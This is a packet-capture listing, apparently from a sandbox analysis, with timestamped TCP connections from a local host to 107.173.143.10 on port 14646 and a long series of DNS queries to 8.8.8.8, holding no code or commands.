Dec 12, 2024 21:57:25.855360985 CET	49182	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:25.975549936 CET	14646	49182	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:27.237883091 CET	49183	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:27.358328104 CET	14646	49183	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:27.358433962 CET	49183	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:27.519871950 CET	49183	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:27.639942884 CET	14646	49183	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:29.293267012 CET	14646	49183	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:29.293366909 CET	49183	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:29.293450117 CET	49183	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:29.414002895 CET	14646	49183	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:30.883797884 CET	49184	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:31.004142046 CET	14646	49184	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:31.004357100 CET	49184	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:31.006933928 CET	49184	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:31.127053976 CET	14646	49184	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:32.973932981 CET	14646	49184	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:32.974191904 CET	49184	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:32.974191904 CET	49184	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:33.094942093 CET	14646	49184	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:34.201391935 CET	49185	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:34.321865082 CET	14646	49185	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:34.321930885 CET	49185	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:34.324875116 CET	49185	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:34.445151091 CET	14646	49185	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:36.263091087 CET	14646	49185	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:36.263144016 CET	49185	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:36.263175011 CET	49185	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:36.382991076 CET	14646	49185	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:37.407958031 CET	49186	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:37.527870893 CET	14646	49186	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:37.528091908 CET	49186	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:37.531121016 CET	49186	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:37.654531956 CET	14646	49186	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:39.484102964 CET	14646	49186	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:39.484193087 CET	49186	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:39.535262108 CET	49186	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:39.655405998 CET	14646	49186	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:40.725663900 CET	49187	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:40.845814943 CET	14646	49187	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:40.845884085 CET	49187	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:40.848947048 CET	49187	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:40.970024109 CET	14646	49187	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:42.776655912 CET	14646	49187	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:42.776750088 CET	49187	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:42.777836084 CET	49187	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:42.899228096 CET	14646	49187	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:44.165954113 CET	49188	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:44.286052942 CET	14646	49188	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:44.286176920 CET	49188	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:44.289586067 CET	49188	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:44.410011053 CET	14646	49188	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:46.230029106 CET	14646	49188	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:46.230299950 CET	49188	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:46.230299950 CET	49188	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:46.351232052 CET	14646	49188	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:47.372462988 CET	49189	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:47.492691040 CET	14646	49189	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:47.493036032 CET	49189	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:47.496227026 CET	49189	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:47.616942883 CET	14646	49189	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:49.434000015 CET	14646	49189	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:49.434257984 CET	49189	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:49.434258938 CET	49189	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:49.554609060 CET	14646	49189	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:50.707946062 CET	49190	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:50.829833031 CET	14646	49190	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:50.830130100 CET	49190	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:50.832997084 CET	49190	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:50.953285933 CET	14646	49190	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:52.766376972 CET	14646	49190	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:52.766637087 CET	49190	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:52.773168087 CET	49190	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:52.893342018 CET	14646	49190	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:54.212572098 CET	49191	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:54.333455086 CET	14646	49191	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:54.333657980 CET	49191	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:54.338323116 CET	49191	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:54.458806038 CET	14646	49191	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:56.277961969 CET	14646	49191	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:56.278445005 CET	49191	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:56.322312117 CET	49191	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:56.442617893 CET	14646	49191	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:57.700256109 CET	49192	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:57.820297003 CET	14646	49192	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:57.820502996 CET	49192	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:57.823491096 CET	49192	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:57.946814060 CET	14646	49192	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:59.906056881 CET	14646	49192	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:59.906261921 CET	49192	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:59.906261921 CET	49192	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:58:00.027343988 CET	14646	49192	107.173.143.10	192.168.2.22
Dec 12, 2024 21:58:01.054922104 CET	49193	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:58:01.175661087 CET	14646	49193	107.173.143.10	192.168.2.22
Dec 12, 2024 21:58:01.175751925 CET	49193	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:58:01.178911924 CET	49193	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:58:01.299192905 CET	14646	49193	107.173.143.10	192.168.2.22
Dec 12, 2024 21:58:03.141326904 CET	14646	49193	107.173.143.10	192.168.2.22
Dec 12, 2024 21:58:03.141541958 CET	49193	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:58:03.141541958 CET	49193	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:58:03.261991978 CET	14646	49193	107.173.143.10	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 21:56:16.684292078 CET	54562	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:16.926089048 CET	53	54562	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:20.718409061 CET	52917	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:20.962194920 CET	53	52917	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:20.962830067 CET	52917	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:21.085675001 CET	53	52917	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:21.085946083 CET	52917	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:21.220483065 CET	53	52917	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:21.220757008 CET	52917	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:21.461421013 CET	53	52917	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:37.084014893 CET	62751	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:37.339163065 CET	57893	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:37.485471964 CET	53	57893	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:41.847995043 CET	54821	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:41.982575893 CET	53	54821	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:42.002985954 CET	54821	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:42.143028975 CET	53	54821	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:42.146493912 CET	54821	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:42.280726910 CET	53	54821	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:42.280937910 CET	54821	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:42.531775951 CET	53	54821	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:56.646086931 CET	54998	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:56.886279106 CET	53	54998	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:56.886492968 CET	54998	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:57.009360075 CET	53	54998	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:57.078533888 CET	52781	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:56:57.212881088 CET	53	52781	8.8.8.8	192.168.2.22
Dec 12, 2024 21:56:57.230029106 CET	63926	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:00.174379110 CET	65510	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:00.510482073 CET	53	65510	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:03.598740101 CET	62672	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:03.931195021 CET	53	62672	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:07.027920961 CET	56475	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:07.366364002 CET	53	56475	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:10.479293108 CET	49384	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:10.618575096 CET	53	49384	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:12.256710052 CET	54842	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:12.497603893 CET	53	54842	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:12.497868061 CET	54842	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:12.739501953 CET	53	54842	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:12.742012024 CET	54842	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:12.876472950 CET	53	54842	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:12.893949032 CET	54842	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:13.028553009 CET	53	54842	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:13.035480022 CET	54842	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:13.170187950 CET	53	54842	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:13.817940950 CET	58105	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:13.953754902 CET	53	58105	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:17.019359112 CET	64928	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:17.153994083 CET	53	64928	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:20.229475975 CET	57390	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:20.366004944 CET	53	57390	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:23.460988045 CET	58095	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:23.794905901 CET	53	58095	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:26.899028063 CET	54261	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:27.231718063 CET	53	54261	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:30.759613991 CET	60507	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:30.883111954 CET	53	60507	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:34.065824032 CET	50446	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:34.200851917 CET	53	50446	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:37.264463902 CET	55939	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:37.407351017 CET	53	55939	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:40.588416100 CET	49608	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:40.725080967 CET	53	49608	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:43.831525087 CET	61486	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:44.165302992 CET	53	61486	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:47.236299992 CET	62453	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:47.371897936 CET	53	62453	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:50.447024107 CET	50568	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:50.570720911 CET	53	50568	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:50.570980072 CET	50568	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:50.707230091 CET	53	50568	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:53.939229012 CET	61467	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:54.076025963 CET	53	61467	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:54.076220989 CET	61467	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:54.211723089 CET	53	61467	8.8.8.8	192.168.2.22
Dec 12, 2024 21:57:57.366163015 CET	61618	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:57:57.699632883 CET	53	61618	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:00.917043924 CET	54422	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:01.054346085 CET	53	54422	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:04.270315886 CET	52074	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:04.616861105 CET	53	52074	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:04.617054939 CET	52074	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:04.751578093 CET	53	52074	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:04.751725912 CET	52074	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:05.084662914 CET	53	52074	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:05.084865093 CET	52074	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:05.219867945 CET	53	52074	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:05.220128059 CET	52074	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:05.343426943 CET	53	52074	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:06.492765903 CET	50337	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:06.628323078 CET	53	50337	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:06.628499985 CET	50337	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:06.763247013 CET	53	50337	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:06.763530970 CET	50337	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:06.899565935 CET	53	50337	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:06.899732113 CET	50337	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:07.024338961 CET	53	50337	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:07.024518013 CET	50337	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:07.159471035 CET	53	50337	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:08.306859016 CET	61826	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:08.442276955 CET	53	61826	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:08.442574978 CET	61826	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:08.577960014 CET	53	61826	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:08.578182936 CET	61826	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:08.712959051 CET	53	61826	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:08.713161945 CET	61826	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:08.847634077 CET	53	61826	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:08.847826004 CET	61826	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:08.983129025 CET	53	61826	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:10.084893942 CET	56329	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:10.219511986 CET	53	56329	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:10.219712019 CET	56329	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:10.354530096 CET	53	56329	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:10.354778051 CET	56329	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:10.489161968 CET	53	56329	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:10.489357948 CET	56329	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:10.612588882 CET	53	56329	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:10.612766027 CET	56329	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:10.748013973 CET	53	56329	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:11.848669052 CET	63469	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:11.971899986 CET	53	63469	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:11.974580050 CET	63469	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:12.110145092 CET	53	63469	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:12.110536098 CET	63469	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:12.442881107 CET	53	63469	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:12.443062067 CET	63469	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:12.577621937 CET	53	63469	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:12.577816010 CET	63469	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:12.712471008 CET	53	63469	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:13.821543932 CET	59447	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:13.959058046 CET	53	59447	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:13.959242105 CET	59447	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:14.082946062 CET	53	59447	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:14.083122015 CET	59447	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:14.417671919 CET	53	59447	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:14.417978048 CET	59447	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:14.560043097 CET	53	59447	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:14.562577009 CET	59447	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:14.697787046 CET	53	59447	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:15.773523092 CET	51828	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:15.910496950 CET	53	51828	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:15.913609982 CET	51828	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:16.049350977 CET	53	51828	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:16.049582005 CET	51828	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:16.184438944 CET	53	51828	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:16.190577030 CET	51828	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:16.313961029 CET	53	51828	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:16.314124107 CET	51828	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:16.437530041 CET	53	51828	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:17.515589952 CET	53406	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:17.640783072 CET	53	53406	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:17.646642923 CET	53406	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:17.781649113 CET	53	53406	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:17.784652948 CET	53406	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:17.907857895 CET	53	53406	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:17.908392906 CET	53406	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:18.044034958 CET	53	53406	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:18.046583891 CET	53406	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:18.182874918 CET	53	53406	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:19.231846094 CET	56345	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:19.366365910 CET	53	56345	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:19.366586924 CET	56345	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:19.502331972 CET	53	56345	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:19.502510071 CET	56345	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:19.625792980 CET	53	56345	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:19.625971079 CET	56345	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:19.760718107 CET	53	56345	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:19.760895014 CET	56345	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:19.884294033 CET	53	56345	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:20.917401075 CET	51870	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:21.052597046 CET	53	51870	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:21.058645964 CET	51870	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:21.193764925 CET	53	51870	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:21.196649075 CET	51870	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:21.319854021 CET	53	51870	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:21.322596073 CET	51870	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:21.457631111 CET	53	51870	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:21.460653067 CET	51870	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:21.595452070 CET	53	51870	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:22.603545904 CET	65009	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:22.726816893 CET	53	65009	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:22.727011919 CET	65009	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:22.861598015 CET	53	65009	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:22.861777067 CET	65009	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:22.998919964 CET	53	65009	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:22.999146938 CET	65009	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:23.133752108 CET	53	65009	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:23.133907080 CET	65009	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:23.257580042 CET	53	65009	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:24.289073944 CET	64956	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:24.622512102 CET	53	64956	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:24.622746944 CET	64956	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:24.757989883 CET	53	64956	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:24.758174896 CET	64956	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:24.893734932 CET	53	64956	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:24.893918991 CET	64956	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:25.017261982 CET	53	64956	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:25.017438889 CET	64956	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:25.152698040 CET	53	64956	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:26.160213947 CET	54521	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:26.295856953 CET	53	54521	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:26.296065092 CET	54521	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:26.419244051 CET	53	54521	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:26.420655012 CET	54521	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:26.555886984 CET	53	54521	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:26.556107044 CET	54521	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:26.690731049 CET	53	54521	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:26.691006899 CET	54521	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:26.825743914 CET	53	54521	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:27.845264912 CET	49750	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:27.980561018 CET	53	49750	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:27.980935097 CET	49750	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:28.117309093 CET	53	49750	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:28.117530107 CET	49750	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:28.253384113 CET	53	49750	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:28.253556967 CET	49750	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:28.388745070 CET	53	49750	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:28.388961077 CET	49750	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:28.524292946 CET	53	49750	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:29.530009031 CET	64687	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:29.666378021 CET	53	64687	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:29.668756962 CET	64687	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:29.803658962 CET	53	64687	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:29.804819107 CET	64687	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:29.932539940 CET	53	64687	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:29.933779955 CET	64687	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:30.056746960 CET	53	64687	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:30.056982040 CET	64687	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:30.179979086 CET	53	64687	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:31.198648930 CET	65084	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:31.335189104 CET	53	65084	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:31.335422039 CET	65084	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:31.469976902 CET	53	65084	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:31.470174074 CET	65084	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:31.606643915 CET	53	65084	8.8.8.8	192.168.2.22
